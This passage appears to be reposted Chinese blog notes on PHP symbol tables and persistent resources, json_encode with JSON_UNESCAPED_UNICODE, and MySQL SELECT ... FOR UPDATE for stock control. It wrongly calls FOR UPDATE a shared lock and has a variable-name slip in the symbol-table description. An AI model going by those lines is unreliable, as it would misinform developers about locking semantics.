资源可以长期驻留,不只是在所有引用它的变量超出作用域之后,甚至是在一个请求结束了并且新的请求产生之后。这些资源称为持久资源,因为它们贯通 SAPI的整个生命周期持续存在,除非特意销毁。很多情况下,持久化资源可以在一定程度上提高性能。比如我们常见的mysql_pconnect ,持久化资源通过pemalloc分配内存,这样在请求结束的时候不会释放。 对zend来说,对两者本身并不区分。

PHP中的局部变量和全局变量是如何实现的?对于一个请求,任意时刻PHP都可以看到两个符号表(symbol_table和 active_symbol_table),其中前者用来维护全局变量。后者是一个指针,指向当前活动的变量符号表,当程序进入到某个函数中时,zend 就会为它分配一个符号表x同时将active_symbol_table指向a。通过这样的方式实现全局、局部变量的区分。

获取变量值:PHP的符号表是通过hash_table实现的,对于每个变量都分配唯一标识,获取的时候根据标识从表中找到相应zval返回。

函数中使用全局变量:在函数中,我们可以通过显式申明global来使用全局变量。在active_symbol_table中创建symbol_table中同名变量的引用,如果symbol_table中没有同名变量则会先创建。

[转] 让Json更懂中文(JSON_UNESCAPED_UNICODE)

这篇博客出自鸟哥博客,当时看到角色没什么用。后来自己做小工具时候特别方便。

记录一下

我们知道, 用PHP的json_encode来处理中文的时候, 中文都会被编码, 变成不可读的, 类似”\u***”的格式, 还会在一定程度上增加传输的数据量.

  1. <?php
  2. echo json_encode(“中文”);
  3. //”\u4e2d\u6587″

这就让我们这些在天朝做开发的同学, 很是头疼, 有的时候还不得不自己写json_encode.

而在PHP5.4, 这个问题终于得以解决, Json新增了一个选项: JSON_UNESCAPED_UNICODE, 故名思议, 就是说, Json不要编码Unicode.

看下面的例子:

  1. <?php
  2. echo json_encode(“中文”, JSON_UNESCAPED_UNICODE);
  3. //”中文”

怎么样, 是不是让大家很开心的改动? 呵呵, 当然, Json在5.4还加入了: JSON_BIGINT_AS_STRING, JSON_PRETTY_PRINT, JSON_UNESCAPED_SLASHES等选项, 如果有兴趣, 大家可以参看: json_encode

我的使用实例:

php端

<p class="p1">$data <span class="Apple-converted-space">  </span>= json_encode($arrRes, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT |JSON_UNESCAPED_SLASHES);</p>

前端

<style type="text/css">
textarea{ resize:none; width:800px; height:800px;}
</style>

<div align="center">
<textarea name="wang">
{%$data%}

[转]关于mysql事务行锁for update实现写锁的功能

在电子商务里,经常会出现库存数量少,购买的人又特别多,大并发情况下如何确保商品数量不会被多次购买.

其实很简单,利用事务+for update就可以解决.

我们都知道for update实际上是共享锁,是可以被读取的.但是如何在执行时,不被读取呢.

简单来说:假设现在库存为1,现在有A和B同时购买

先开启一个事务

begin;

select stock from good where id=1 for update;//查询good表某个商品中stock的数量

查出来后,在程序里在判断这个stock是否为0(你用什么语言,不关我事)

最后在执行

update good set stock=stock-1 where id=1

最后在

commit

但是这个时候B也是select stock from good where id=1 for update;注意:for update不能省略..这个时候会出现被锁住,无法被读取.

所以这就能够保证了商品剩余数量为1的一致性.